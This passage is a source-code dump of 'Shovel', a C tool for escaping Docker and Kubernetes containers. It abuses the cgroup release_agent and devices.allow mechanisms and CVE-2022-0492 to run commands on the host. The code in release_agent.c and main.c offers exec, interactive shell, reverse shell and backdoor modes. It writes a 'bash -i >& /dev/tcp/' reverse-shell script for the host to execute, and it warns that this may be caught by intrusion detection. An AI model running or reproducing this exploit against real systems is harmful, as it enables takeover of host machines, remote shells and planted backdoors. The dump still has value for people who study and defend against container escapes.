!= BACKDOOR && file_exist(release_agent_attack_info.output_path_in_container) != -1) { remove_output_path_in_container_ret = remove_file(release_agent_attack_info.output_path_in_container); } if (remove_controller_path_ret != 0 || remove_cgroup_mount_path_ret != 0 || remove_exp_path_ret != 0 || remove_output_path_in_container_ret != 0 || umount_cgroup_ret != 0) { printf_wrapper(ERROR, "Failed to clear attack related file\n"); } else { printf_wrapper(INFO, "Already clear attack related files\n"); } } int release_agent_exec() { if (attack_info.attack_mode == SHELL && strcmp(attack_info.command, "quit") == 0) { release_agent_clear_all(); return 0; } int output_path_random_length = 5; char *output_path_random = malloc(output_path_random_length); char *output_path_in_container = malloc(output_path_random_length + strlen("/tmp/"));; rand_string(output_path_random, output_path_random_length); char exp[2048] = "#!/bin/bash\n"; char cgroup_procs_path[512]; strcat(exp, attack_info.command); strcat(exp, " &> "); strcat(exp, release_agent_attack_info.container_path_in_host); strcat(exp, "/tmp/"); strcat(exp, output_path_random); if (write_file(release_agent_attack_info.exp_path, exp, O_CREAT | O_WRONLY | O_TRUNC) != 0) { printf_wrapper(ERROR, "Write exp file failed\n"); release_agent_clear_all(); return -1; } strcpy(output_path_in_container, "/tmp/"); strcat(output_path_in_container, output_path_random); free(output_path_random); release_agent_attack_info.output_path_in_container = (char *) malloc(512 * sizeof(char)); memset(release_agent_attack_info.output_path_in_container, 0x00, 512); strcpy(release_agent_attack_info.output_path_in_container, output_path_in_container); free(output_path_in_container); int exp_mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH; if (chmod(release_agent_attack_info.exp_path, exp_mode) != 0) { printf_wrapper(ERROR, "call chmod to give %s execute permission failed\n", release_agent_attack_info.exp_path); release_agent_clear_all(); return -1; } strcpy(cgroup_procs_path, release_agent_attack_info.controller_path); strcat(cgroup_procs_path, "/cgroup.procs"); struct cgroup_procs_clone_args args; args.cgroup_procs_path = cgroup_procs_path; void *arg = (void *) &args; if (clone(clear_cgroup_procs, malloc(STACK_SIZE) + STACK_SIZE, SIGCLD, arg) == -1) { printf_wrapper(ERROR, "Clone new process into cgroup_procs and clear cgroup_procs failed\n"); return -1; } if (attack_info.attack_mode != SHELL) { printf_wrapper(INFO, "Waiting for the command execution is completed (%ds)\n", WAIT_RELEASE_AGENT_RUN_TIME); } sleep(WAIT_RELEASE_AGENT_RUN_TIME); char *exec_command_result_buffer = malloc((1024 * 1024) * sizeof(char)); memset(exec_command_result_buffer, 0x00, (1024 * 1024)); if (read_file(release_agent_attack_info.output_path_in_container, exec_command_result_buffer, O_RDONLY) == -1) { printf_wrapper(ERROR, "Get command run result failed\n"); release_agent_clear_all(); return -1; } if (attack_info.attack_mode != SHELL) { printf_wrapper(INFO, "Command execution results are as follows: \n"); } if (attack_info.attack_mode == EXEC) { printf("\n"); } if (exec_command_result_buffer[strlen(exec_command_result_buffer) - 1] != '\n') { printf("%s\n", exec_command_result_buffer); } else { printf("%s", exec_command_result_buffer); } free(exec_command_result_buffer); if (attack_info.attack_mode == EXEC) { printf("\n"); release_agent_clear_all(); } if (attack_info.attack_mode == SHELL) { if (remove_file(release_agent_attack_info.output_path_in_container) != 0) { printf_wrapper(WARNING, "clear output result in container failed, path is %s\n", release_agent_attack_info.output_path_in_container); } } return 0; } int release_agent_reverse() { int output_path_random_length = 5; char *output_path_random = malloc(output_path_random_length + 1); char cgroup_procs_path[512]; char *output_path_in_container = malloc(output_path_random_length + strlen("/tmp/"));; rand_string(output_path_random, output_path_random_length); char exp[2048] = "#!/bin/bash\n"; strcat(exp, "bash -i >& /dev/tcp/"); strcat(exp, attack_info.ip); strcat(exp, "/"); strcat(exp, attack_info.port); strcat(exp, " 0>&1"); if (write_file(release_agent_attack_info.exp_path, exp, O_CREAT | O_WRONLY | O_TRUNC) != 0) { printf_wrapper(ERROR, "Write exp file failed\n"); release_agent_clear_all(); return -1; } strcpy(output_path_in_container, "/tmp/"); strcat(output_path_in_container, output_path_random); free(output_path_random); release_agent_attack_info.output_path_in_container = (char *) malloc(512 * sizeof(char)); memset(release_agent_attack_info.output_path_in_container, 0x00, 512); strcpy(release_agent_attack_info.output_path_in_container, output_path_in_container); free(output_path_in_container); int exp_mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH; if (chmod(release_agent_attack_info.exp_path, exp_mode) != 0) { printf_wrapper(ERROR, "call chmod to give %s execute permission failed\n", release_agent_attack_info.exp_path); release_agent_clear_all(); return -1; } strcpy(cgroup_procs_path, release_agent_attack_info.controller_path); strcat(cgroup_procs_path, "/cgroup.procs"); struct cgroup_procs_clone_args args; args.cgroup_procs_path = cgroup_procs_path; void *arg = (void *) &args; if (clone(clear_cgroup_procs, malloc(STACK_SIZE) + STACK_SIZE, SIGCLD, arg) == -1) { printf_wrapper(ERROR, "Clone new process into cgroup_procs and clear cgroup_procs failed\n"); return -1; } sleep(WAIT_RELEASE_AGENT_RUN_TIME); release_agent_clear_all(); return 0; } int release_agent_backdoor() { char cgroup_procs_path[512]; int exp_mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH; if (chmod(release_agent_attack_info.exp_path, exp_mode) != 0) { printf_wrapper(ERROR, "call chmod to give %s execute permission failed\n", release_agent_attack_info.exp_path); release_agent_clear_all(); return -1; } strcpy(cgroup_procs_path, release_agent_attack_info.controller_path); strcat(cgroup_procs_path, "/cgroup.procs"); release_agent_attack_info.output_path_in_container = (char *) malloc(512 * sizeof(char)); strcpy(release_agent_attack_info.output_path_in_container, attack_info.backdoor_path); struct cgroup_procs_clone_args args; args.cgroup_procs_path = cgroup_procs_path; void *arg = (void *) &args; if (clone(clear_cgroup_procs, malloc(STACK_SIZE) + STACK_SIZE, SIGCLD, arg) == -1) { printf_wrapper(ERROR, "Clone new process into cgroup_procs and clear cgroup_procs failed\n"); return -1; } sleep(WAIT_RELEASE_AGENT_RUN_TIME); release_agent_clear_all(); return 0; } int escape_by_release_agent() { printf_wrapper(INFO, "Start escape by release_agent\n"); const int cgroup_path_random_length = 10; const int controller_path_random_length = 5; const int release_agent_exp_path_length = 5; char mount_path[128] = "/tmp/tmp."; char *controller = NULL; if (release_agent_attack_info.use_cve_2022_0492 == 1) { controller = "rdma"; } else { controller = "memory"; } char controller_path[128]; char release_agent_path[128]; char notify_on_release_path[128]; char release_agent_exp_path[512]; char exp_path[128] = "/tmp/"; // Mount Cgroup // Create cgroup mount path as clion remote development path e.g. "tmp.RwYWARK7Me" char *cgroup_path_random = malloc(cgroup_path_random_length + 1); rand_string(cgroup_path_random, cgroup_path_random_length); strcat(mount_path, cgroup_path_random); free(cgroup_path_random); struct stat st = {0}; if (stat(mount_path, &st) == -1) { mkdir(mount_path, 0700); } printf_wrapper(INFO, "Cgroup mount path: %s\n", mount_path); if (mount("cgroup", mount_path, "cgroup", 0, controller)) { printf_wrapper(ERROR, "Mount cgroup to %s failed\n", mount_path); return -1; } release_agent_attack_info.mount_path = (char *) malloc(512 * sizeof(char)); strcpy(release_agent_attack_info.mount_path, mount_path); // create child cgroup char *controller_path_random = malloc(controller_path_random_length + 1); rand_string(controller_path_random, controller_path_random_length); strcpy(controller_path, mount_path); strcat(controller_path, "/"); strcat(controller_path, controller_path_random); free(controller_path_random); printf_wrapper(INFO, "New cgroup controller path: %s\n", controller_path); if (stat(controller_path, &st) == -1) { mkdir(controller_path, 0777); } release_agent_attack_info.controller_path = (char *) malloc(512 * sizeof(char)); strcpy(release_agent_attack_info.controller_path, controller_path); //enable notify_on_release strcpy(notify_on_release_path, controller_path); strcat(notify_on_release_path, "/notify_on_release"); printf_wrapper(INFO, "Enable notify_on_release: %s\n", notify_on_release_path); if (file_exist(notify_on_release_path) == -1) { printf_wrapper(ERROR, "notify_on_release file %s not found\n", notify_on_release_path); return -1; } if (write_file(notify_on_release_path, "1", O_WRONLY) != 0) { printf_wrapper(ERROR, "Enable notify_on_release failed\n"); release_agent_clear_all(); return -1; } // set release_agent strcpy(release_agent_path, mount_path); strcat(release_agent_path, "/release_agent"); if (file_exist(release_agent_path) == -1) { printf_wrapper(ERROR, "release_agent file %s not found\n", release_agent_path); return -1; } printf_wrapper(INFO, "Path of release_agent: %s\n", release_agent_path); if (attack_info.attack_mode != BACKDOOR) { char *release_agent_exp_path_random = malloc(release_agent_exp_path_length + 1); rand_string(release_agent_exp_path_random, release_agent_exp_path_length); strcpy(release_agent_exp_path, release_agent_attack_info.container_path_in_host); strcat(release_agent_exp_path, "/tmp/"); strcat(release_agent_exp_path, release_agent_exp_path_random); printf_wrapper(INFO, "Write exp_path to release_agent: %s\n", release_agent_exp_path); if (write_file(release_agent_path, release_agent_exp_path, O_WRONLY) != 0) { printf_wrapper(ERROR, "Write release_agent failed\n"); release_agent_clear_all(); return -1; } strcat(exp_path, release_agent_exp_path_random); free(release_agent_exp_path_random); printf_wrapper(INFO, "Exp path: %s\n", exp_path); } else { strcpy(release_agent_exp_path, release_agent_attack_info.container_path_in_host); strcat(release_agent_exp_path, attack_info.backdoor_path); if (write_file(release_agent_path, release_agent_exp_path, O_WRONLY) != 0) { printf_wrapper(ERROR, "Write release_agent failed\n"); release_agent_clear_all(); return -1; } printf_wrapper(INFO, "Write exp_path to release_agent: %s\n", release_agent_exp_path); strcpy(exp_path, attack_info.backdoor_path); } release_agent_attack_info.exp_path = (char *) malloc(512 * sizeof(char)); strcpy(release_agent_attack_info.exp_path, exp_path); return 0; } ================================================ FILE: exploits/release_agent.h ================================================ // // Created by FlagT on 2022/6/22. // #ifndef SHOVEL_RELEASE_AGENT_H #define SHOVEL_RELEASE_AGENT_H #endif //SHOVEL_RELEASE_AGENT_H int escape_by_release_agent(); int release_agent_exec(); int release_agent_reverse(); int release_agent_backdoor(); ================================================ FILE: main.c ================================================ #define _GNU_SOURCE #include "docker/capability.h" #include "exploits/cve_2022_0492.h" #include #include #include #include "util/output.h" #include "util/program_info.h" #include "docker/path.h" #include "exploits/release_agent.h" #include "util/regex_util.h" #include "util/custom_struts.h" #include "util/utils.h" #include #include #include #include "docker/security.h" #include "docker/cgroup.h" #include "exploits/devices_allow.h" #define DEFAULT_INPUT_BUFFER_SIZE 1024 int cap_sys_admin_check() { int sys_admin = check_cap_sys_admin(); if (sys_admin == 0) { printf_wrapper(INFO, "Try to use CVE-2022-0492 to get CAP_SYS_ADMIN\n"); int result = cve_2022_0294(); if (result == 0) { printf_wrapper(INFO, "No CAP_SYS_ADMIN capability, use CVE_2022_0492 failed\n"); return -1; } else { release_agent_attack_info.use_cve_2022_0492 = 1; } } return 0; } int main(int argc, char *argv[]) { srand(time(NULL)); if (argc == 1) { usage(argv[0]); exit(EXIT_SUCCESS); } static const struct option opts[] = { {"help", no_argument, NULL, 'h'}, {"version", no_argument, NULL, 'v'}, {"release-agent", no_argument, NULL, 'r'}, {"devices-allow", no_argument, NULL, 'd'}, {"cve-2022-0492", no_argument, NULL, 'u'}, {"container_path", required_argument, NULL, 'p'}, {"mode", required_argument, NULL, 'm'}, {"command", required_argument, NULL, 'c'}, {"ip", required_argument, NULL, 'I'}, {"port", required_argument, NULL, 'P'}, {"backdoor_path", required_argument, NULL, 'B'}, {"assumeyes", no_argument, NULL, 'y'} }; int opt; int assumeyes = 0; attack_info.attack_mode = -1; attack_info.attack_type = -1; attack_info.command = (char *) malloc(512 * sizeof(char)); attack_info.ip = (char *) malloc(64 * sizeof(char)); attack_info.backdoor_path = (char *) malloc(512 * sizeof(char)); attack_info.port = (char *) malloc(10 * sizeof(char)); attack_info.container_path = (char *) malloc(1024 * sizeof(char)); memset(attack_info.command, 0x00, 512); memset(attack_info.ip, 0x00, 64); memset(attack_info.ip, 0x00, 512); memset(attack_info.port, 0x00, 10); memset(attack_info.container_path, 0x00, 1024); const char *opt_type = "hvrduyp:m:c:I:P:B:"; while ((opt = getopt_long_only(argc, argv, opt_type, opts, NULL)) != -1) { switch (opt) { case 'h': usage(argv[0]); break; case 'v': print_version(); break; case 'r': attack_info.attack_type = RELEASE_AGENT; break; case 'd': attack_info.attack_type = DEVICE_ALLOW; break; case 'c': attack_info.command = optarg; break; case 'm': if (strcmp(optarg, "exec") == 0) { attack_info.attack_mode = EXEC; } else if (strcmp(optarg, "shell") == 0) { attack_info.attack_mode = SHELL; } else if (strcmp(optarg, "reverse") == 0) { attack_info.attack_mode = REVERSE; } else if (strcmp(optarg, "backdoor") == 0) { attack_info.attack_mode = BACKDOOR; } else { printf_wrapper(ERROR, "Unknown attack mode -m support {exec | shell | reverse}\n"); exit(EXIT_SUCCESS); } break; case 'I': attack_info.ip = optarg; break; case 'P': attack_info.port = optarg; break; case 'B': attack_info.backdoor_path = optarg; break; case 'u': attack_info.attack_type = CVE_2022_0492; attack_info.attack_mode = SHELL; break; case 'y': assumeyes = 1; break; case 'p': attack_info.container_path = optarg; break; default: usage(argv[0]); break; } } if (assumeyes != 1) { if (attack_info.attack_type == RELEASE_AGENT) { if (attack_info.attack_mode == EXEC) { output_bash_warning("release_agent", "exec"); } else if (attack_info.attack_mode == SHELL) { output_bash_warning("release_agent", "shell"); } else if (attack_info.attack_mode == REVERSE) { output_bash_warning("release_agent", "reverse"); } } else if (attack_info.attack_type == DEVICE_ALLOW) { if (attack_info.attack_mode == REVERSE) { output_bash_warning("device_allow", "reverse"); } } } if (attack_info.attack_type == -1 || attack_info.attack_mode == -1) { printf_wrapper(ERROR, "Args set error, args of escape and -m must set\n"); exit(EXIT_SUCCESS); } if (attack_info.attack_mode == EXEC && attack_info.command[0] == 0x00) { printf_wrapper(ERROR, "In exec mode, -c must be set and can't be empty\n"); exit(EXIT_SUCCESS); } if (attack_info.attack_mode == REVERSE && (attack_info.ip[0] == 0x00 || strcmp(attack_info.port, "") == 0)) { printf_wrapper(ERROR, "In reverse mode, -I and -P must set\n"); exit(EXIT_SUCCESS); } if (attack_info.attack_mode == BACKDOOR && attack_info.backdoor_path == 0x00) { printf_wrapper(ERROR, "In backdoor mode, -B must set\n"); exit(EXIT_SUCCESS); } printf_wrapper(INFO, "Check if container enable seccomp\n"); long int seccomp_status = seccomp_enable_check(); if (seccomp_status == 0) { printf_wrapper(INFO, "Current container disabled seccomp\n"); } else if (seccomp_status == -1) { printf_wrapper(ERROR, "Check if container enable seccomp failed\n"); } else { printf_wrapper(WARNING, "Current container enable seccomp\n"); } printf_wrapper(INFO, "Check if container enable apparmor\n"); int apparmor_status = apparmor_enable_check(); if (apparmor_status == 1) { printf_wrapper(INFO, "Current container disabled apparmor\n"); } else if (apparmor_status == -1) { printf_wrapper(ERROR, "Check if container enable apparmor failed\n"); } else { printf_wrapper(WARNING, "Current container enable apparmor\n"); } printf_wrapper(INFO, "Check if the program is running in docker\n"); char *cgroup_id = malloc(512 * sizeof(char)); memset(cgroup_id, 0x00, 512); get_cgroup_id(cgroup_id); if (!*cgroup_id) { printf_wrapper(WARNING, "The current running environment does not appear to be a docker or k8s\n"); } switch (attack_info.attack_type) { case RELEASE_AGENT: { release_agent_attack_info.use_cve_2022_0492 = 0; if (cap_sys_admin_check() == -1) { printf_wrapper(ERROR, "Current process don't have CAP_SYS_ADMIN capability,can't escape by using release_agent\n"); } release_agent_attack_info.container_path_in_host = (char *) malloc(1024 * sizeof(char)); memset(release_agent_attack_info.container_path_in_host, 0x00, 1024); if (attack_info.container_path[0] == 0x00) { printf_wrapper(INFO, "Try to get container path in host\n"); char *container_path_in_host = (char *) malloc(1024 * sizeof(char)); memset(container_path_in_host, 0x00, 1024); get_container_path_in_host(container_path_in_host); if (*container_path_in_host == 0x00) { printf_wrapper(ERROR, "Get container path in host failed\n"); exit(EXIT_SUCCESS); } strcpy(release_agent_attack_info.container_path_in_host, container_path_in_host); free(container_path_in_host); } else { strcpy(release_agent_attack_info.container_path_in_host, attack_info.container_path); } if (escape_by_release_agent() != 0) { printf_wrapper(ERROR, "Escape by release_agent failed\n"); exit(EXIT_SUCCESS); } if (attack_info.attack_mode == EXEC) { if (release_agent_exec() == -1) { printf_wrapper(ERROR, "Execute the command %s failed\n", attack_info.command); } } if (attack_info.attack_mode == SHELL) { printf_wrapper(INFO, "About to enter shell, please enter 'quit' to exit shell, other way out, such as using 'ctrl+c' will not clean up the attack\n"); char *inputBuffer = malloc(sizeof(char) * DEFAULT_INPUT_BUFFER_SIZE); memset(inputBuffer, 0x00, DEFAULT_INPUT_BUFFER_SIZE); while (strcmp(inputBuffer, "quit") != 0) { printf("# "); fgets(inputBuffer, DEFAULT_INPUT_BUFFER_SIZE, stdin); if (inputBuffer[strlen(inputBuffer) - 1] != '\n') { printf_wrapper(ERROR, "The input was too long, input buffer size %s", DEFAULT_INPUT_BUFFER_SIZE); } inputBuffer[strcspn(inputBuffer, "\n")] = 0x00; strcpy(attack_info.command, inputBuffer); if (release_agent_exec() == -1) { printf_wrapper(ERROR, "Execute the command %s failed\n", attack_info.command); } } free(inputBuffer); } if (attack_info.attack_mode == REVERSE) { if (release_agent_reverse() == -1) { printf_wrapper(ERROR, "Reverse shell failed\n"); } } if (attack_info.attack_mode == BACKDOOR) { if (release_agent_backdoor() == -1) { printf_wrapper(ERROR, "Run backdoor %s failed\n", attack_info.backdoor_path); } } break; } case DEVICE_ALLOW: { if (!*cgroup_id) { printf_wrapper(ERROR, "Get container cgroup path failed, cannot escape by device_allow\n"); exit(EXIT_SUCCESS); } if (attack_info.attack_mode == EXEC) { printf_wrapper(ERROR, "Escape by device_allow not support exec mode\n"); exit(EXIT_SUCCESS); } else if (attack_info.attack_mode == SHELL) { if (check_cap_sys_admin() == -1) { printf_wrapper(ERROR, "Current process don't have CAP_SYS_ADMIN capability,can't escape by using device_allow\n"); return -1; } device_allow_attack_info.cgroup_id = malloc(512 * sizeof(char)); strcpy(device_allow_attack_info.cgroup_id, cgroup_id); if (escape_by_device_allow() != -1) { device_allow_shell(); } else { printf_wrapper(ERROR, "Escape by device_allow failed\n"); } } else if (attack_info.attack_mode == REVERSE) { if (check_cap_sys_admin() == -1) { printf_wrapper(ERROR, "Current process don't have CAP_SYS_ADMIN capability,can't escape by using device_allow\n"); } device_allow_attack_info.cgroup_id = malloc(512 * sizeof(char)); strcpy(device_allow_attack_info.cgroup_id, cgroup_id); if (escape_by_device_allow() != -1) { device_allow_reverse(); } else { printf_wrapper(ERROR, "Escape by device_allow failed\n"); } } break; } case CVE_2022_0492: { int sys_admin = check_cap_sys_admin(); if (sys_admin == 0) { printf_wrapper(INFO, "Try to attack by CVE-2022-0492 to get CAP_SYS_ADMIN\n"); int result = cve_2022_0294(); if (result == 0) { printf_wrapper(INFO, "Attack by CVE_2022_0492 failed\n"); } else { printf_wrapper(INFO, "Attack by CVE_2022_0492 success\n"); char *bash_args[] = { "/bin/bash", NULL }; int ret = execvp(bash_args[0], bash_args); if (ret == -1) { exit(EXIT_SUCCESS); } else { printf_wrapper(INFO, "New process id: %d", ret); } } } else { printf_wrapper(INFO, "Current process already has CAP_SYS_ADMIN capability, no need to use CVE_2022_0492\n"); } break; } } } ================================================ FILE: util/custom_struts.c ================================================ // // Created by FlagT on 2022/6/26. // #include "custom_struts.h" ================================================ FILE: util/custom_struts.h ================================================ // // Created by FlagT on 2022/6/26. // #ifndef SHOVEL_CUSTOM_STRUTS_H #define SHOVEL_CUSTOM_STRUTS_H #endif //SHOVEL_CUSTOM_STRUTS_H enum ATTACK_TYPE { RELEASE_AGENT, DEVICE_ALLOW, CVE_2022_0492, }; enum ATTACK_MODE { EXEC, SHELL, REVERSE, BACKDOOR }; struct ATTACK_INFO { int attack_type; int attack_mode; char *command; char *ip; char *port; char *backdoor_path; char *container_path; } attack_info; struct RELEASE_AGENT_ATTACK_INFO { char *exp_path; char *container_path_in_host; char *controller_path; char *mount_path; char *output_path_in_container; int use_cve_2022_0492; } release_agent_attack_info; struct DEVICE_ALLOW_ATTACK_INFO { char *cgroup_id; char *host_filesystem_mount_path; char *crontab_path; char *exp; char *host_dev_path; char *device_allow_path; char *mount_path; } device_allow_attack_info; struct HOST_DEV_ATTRIBUTE { int major; int minor; char *fstype; } host_dev_attribute; ================================================ FILE: util/mount_info.c ================================================ // // Created by FlagT on 2022/7/10. // #include #include #include #include #include #include "mount_info.h" #include "utils.h" int load_mount_info(char *path, struct mntent *mounts_info[]) { struct mntent *ent; FILE *mounts_file; mounts_file = setmntent(path, "r"); if (mounts_file == NULL) { perror("setmntent"); exit(1); } int count = 0; while (NULL != (ent = getmntent(mounts_file))) { struct mntent *tmp_ent = (struct mntent *) malloc(sizeof(struct mntent)); memcpy(tmp_ent, ent, sizeof(struct mntent)); tmp_ent->mnt_dir = (char *) malloc((strlen(ent->mnt_dir) + 1) * sizeof(char)); tmp_ent->mnt_fsname = (char *) malloc((strlen(ent->mnt_fsname) + 1) * sizeof(char)); tmp_ent->mnt_type = (char *) malloc((strlen(ent->mnt_type) + 1) * sizeof(char)); tmp_ent->mnt_opts = (char *) malloc((strlen(ent->mnt_opts) + 1) * sizeof(char)); strcpy(tmp_ent->mnt_dir, ent->mnt_dir); strcpy(tmp_ent->mnt_fsname, ent->mnt_fsname); strcpy(tmp_ent->mnt_type, ent->mnt_type); strcpy(tmp_ent->mnt_opts, ent->mnt_opts); mounts_info[count] = tmp_ent; count += 1; } endmntent(mounts_file); return count; } ================================================ FILE: util/mount_info.h ================================================ // // Created by FlagT on 2022/7/10. // #ifndef SHOVEL_MOUNT_INFO_H #define SHOVEL_MOUNT_INFO_H #endif //SHOVEL_MOUNT_INFO_H int load_mount_info(char *path, struct mntent *mounts_info[]); ================================================ FILE: util/output.c ================================================ // // Created by FlagT on 2022/6/22. // #include #include #include #include #include #include "output.h" void printf_info(char *format, va_list args_list) { char *info_msg_format = (char *) malloc((strlen("[info] ") + strlen(format)) * sizeof(char)); strcpy(info_msg_format, "[INFO] "); strcat(info_msg_format, format); vprintf(info_msg_format, args_list); free(info_msg_format); } void printf_warning(char *format, va_list args_list) { char *warning_msg_format = (char *) malloc((strlen("[warning] ") + strlen(format)) * sizeof(char)); strcpy(warning_msg_format, "[WARNING] "); strcat(warning_msg_format, format); vprintf(warning_msg_format, args_list); free(warning_msg_format); } void printf_error(char *format, va_list args_list) { char *error_msg_format = (char *) malloc((strlen("[error] ") + strlen(format)) * sizeof(char)); strcpy(error_msg_format, "[ERROR] "); strcat(error_msg_format, format); vprintf(error_msg_format, args_list); free(error_msg_format); } void printf_wrapper(int type, char *format, ...) { va_list marker; va_start(marker, format); switch (type) { case INFO: printf_info(format, marker); break; case WARNING: printf_warning(format, marker); break; case ERROR: printf_error(format, marker); break; default: printf_info(format, marker); break; }; va_end(marker); } ================================================ FILE: util/output.h ================================================ // // Created by FlagT on 2022/6/22. // #ifndef SHOVEL_OUTPUT_H #define SHOVEL_OUTPUT_H #endif //SHOVEL_OUTPUT_H enum output_type { INFO = 1, ERROR = 2, WARNING= 3, }; void printf_wrapper(int type, char* format, ...); ================================================ FILE: util/program_info.c ================================================ // // Created by FlagT on 2022/6/25. // #include "program_info.h" #include #include #define PROGRAM_NAME "Shovel" #define VERSION "1.3" void usage(char *args0) { printf("usage: %s [options ...]\n" "\n" "Options:\n" "Options of program\n" " -h, --help show help message\n" " -v, --version show program version\n" "Options of escape\n" " -r, --release-agent escape by release-agent\n" " -d, --devices-allow escape by devices-allow\n" " -u, --cve-2022-0492 get cap_sys_admin by cve-2022-0492 and return new namespace bash\n" "Options of other\n" " -p, --container_path=xxx manually specify path of container in host,use this parameter if program can't get it automatically\n" " -m, --mode=xxx the mode that needs to be returned after a successful escape { exec | shell | reverse | backdoor }\n" " -c, --command=xxx set command in exec mode\n" " -I, --ip set ip address in reverse mode\n" " -P, --port set port in reverse mode\n" " -B, --backdoor_path set backdoor file path\n" " -y, --assumeyes automatically answer yes for all questions" "\n" "Mode (-m) type guide\n" " exec: run a single command and return the result\n" " shell: get host shell in current console\n" " reverse: reverse shell to remote listening address\n" " backdoor: put a backdoor to the host and execute\n", args0); exit(EXIT_SUCCESS); } void print_version() { printf("%s version: %s, %s %s\n", PROGRAM_NAME, VERSION, __DATE__, __TIME__); exit(EXIT_SUCCESS); } ================================================ FILE: util/program_info.h ================================================ // // Created by FlagT on 2022/6/25. // #ifndef SHOVEL_USAGE_H #define SHOVEL_USAGE_H #endif //SHOVEL_USAGE_H void usage(char *); void print_version(); ================================================ FILE: util/random_str.c ================================================ // // Created by FlagT on 2022/6/22. // #include "random_str.h" #include #include void rand_string(char *str, size_t size) { const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456"; if (size) { --size; for (size_t n = 0; n < size; n++) { int key = (int) random() % (int) (sizeof charset - 1); str[n] = charset[key]; } str[size] = '\0'; } } ================================================ FILE: util/random_str.h ================================================ // // Created by FlagT on 2022/6/22. // #ifndef SHOVEL_RANDOM_STR_H #define SHOVEL_RANDOM_STR_H #endif //SHOVEL_RANDOM_STR_H #include void rand_string(char *, size_t); ================================================ FILE: util/regex_util.c ================================================ // // Created by FlagT on 2022/6/22. // #define _GNU_SOURCE #include "regex_util.h" #include #include #include "output.h" void regex_util(char *src, char *reg, char *result) { regex_t regex; char err_buf[1024]; regmatch_t match_char[2]; regcomp(®ex, reg, REG_EXTENDED); int match_result = regexec(®ex, src, 10, match_char, 0); if (!match_result) { if (match_char[1].rm_so != -1) { char cursorCopy[strlen(src) + 1]; strcpy(cursorCopy, src); cursorCopy[match_char[1].rm_eo] = 0; strcpy(result, cursorCopy + match_char[1].rm_so); } } else if (match_result == REG_NOMATCH) { } else { regerror(match_result, ®ex, err_buf, sizeof(err_buf)); printf_wrapper(WARNING, "Regex match failed: %s\n", err_buf); } } ================================================ FILE: util/regex_util.h ================================================ // // Created by FlagT on 2022/6/22. // #ifndef SHOVEL_REGEX_UTIL_H #define SHOVEL_REGEX_UTIL_H #endif //SHOVEL_REGEX_UTIL_H void regex_util(char *, char *, char *); ================================================ FILE: util/utils.c ================================================ // // Created by FlagT on 2022/6/25. // #include "utils.h" #include #include #include #include #include #include #include "output.h" #include #include #include #define DEFAULT_READ_SIZE 1048576 int remove_dir(char *dir) { char cur_dir[] = "."; char up_dir[] = ".."; char dir_name[128]; DIR *dirp; struct dirent *dp; struct stat dir_stat; if (0 != access(dir, F_OK)) { printf_wrapper(ERROR, "No permission to access dir %s\n", dir); return -1; } if (0 > stat(dir, &dir_stat)) { printf_wrapper(ERROR, "Get directory %s stat error, remove %s failed\n", dir, dir); return -1; } if (S_ISREG(dir_stat.st_mode)) { remove(dir); } else if (S_ISDIR(dir_stat.st_mode)) { dirp = opendir(dir); while ((dp = readdir(dirp)) != NULL) { if ((0 == strcmp(cur_dir, dp->d_name)) || (0 == strcmp(up_dir, dp->d_name))) { continue; } sprintf(dir_name, "%s/%s", dir, dp->d_name); remove_dir(dir_name); } closedir(dirp); rmdir(dir); } else { printf_wrapper(ERROR, "Unknown dir %s type, remove %s failed\n", dir, dir); return -1; } return 0; } int remove_file(char *file_path) { struct stat file_stat; if (0 != access(file_path, F_OK)) { printf_wrapper(ERROR, "No permission to access file %s\n", file_path); return -1; } if (0 > stat(file_path, &file_stat)) { printf_wrapper(ERROR, "Get file %s stat error, remove %s failed\n", file_path, file_path); return -1; } if (S_ISREG(file_stat.st_mode) || S_ISBLK(file_stat.st_mode)) { remove(file_path); } else { return -1; } return 0; } void clear_input() { char *buffer = malloc(sizeof(char) * 2); memset(buffer, 0x00, 2); fgets(buffer, 2, stdin); } void output_bash_warning(char *escape_type, char *mode) { printf_wrapper(WARNING, "Escape by %s in %s mode will call bash, may be caught by intrusion detection devices, are you sure use this mode? (y/n) ", escape_type, mode); char *inputBuffer = malloc(sizeof(char) * 2); memset(inputBuffer, 0x00, 2); fgets(inputBuffer, 2, stdin); inputBuffer[strcspn(inputBuffer, "\n")] = 0x00; clear_input(); if ((strcmp(inputBuffer, "y") == 0) || (strcmp(inputBuffer, "Y") == 0)) { return; } else { printf_wrapper(INFO, "Exit\n"); exit(EXIT_SUCCESS); } } int read_file(char *path, char *buffer, int flags) { int fd; fd = open(path, flags); if (fd == -1) { close(fd); return -1; } struct stat s; int size = DEFAULT_READ_SIZE; size_t stat_ret = stat(path, &s); if (stat_ret != -1 && s.st_size != 0) { size = (int) s.st_size; } size_t ret = read(fd, buffer, size); if (ret == -1) { close(fd); return -1; } close(fd); return 0; } int write_file(char *path, char *buffer, int flags) { int fd; fd = open(path, flags); if (!fd) { return -1; } size_t ret = write(fd, buffer, strlen(buffer)); if (ret == -1) { return -1; } close(fd); return 0; } int file_exist(char *path) { if (access(path, F_OK) == 0) { return 0; } else { return -1; } } char **str_split(char *str, const char a_delim) { char **result = 0; size_t count = 0; char *tmp = str; char *last_comma = 0; char delim[2]; delim[0] = a_delim; delim[1] = 0; while (*tmp) { if (a_delim == *tmp) { count++; last_comma = tmp; } tmp++; } count += last_comma < (str + strlen(str) - 1); count++; result = malloc(sizeof(char *) * count); if (result) { size_t idx = 0; char *token = strtok(str, delim); while (token) { assert(idx < count); *(result + idx++) = strdup(token); token = strtok(0, delim); } assert(idx == count - 1); *(result + idx) = 0; } return result; } char *str_replace(char *orig, char *rep, char *with) { char *result; char *ins; char *tmp; unsigned long len_rep; unsigned long len_with; unsigned long len_front; unsigned long count; if (!orig || !rep) return NULL; len_rep = strlen(rep); if (len_rep == 0) return NULL; if (!with) with = ""; len_with = strlen(with); ins = orig; for (count = 0; (tmp = strstr(ins, rep)); ++count) { ins = tmp + len_rep; } tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1); if (!result) return NULL; while (count--) { ins = strstr(orig, rep); len_front = ins - orig; tmp = strncpy(tmp, orig, len_front) + len_front; tmp = strcpy(tmp, with) + len_with; orig += len_front + len_rep; } strcpy(tmp, orig); return result; } ================================================ FILE: util/utils.h ================================================ // // Created by FlagT on 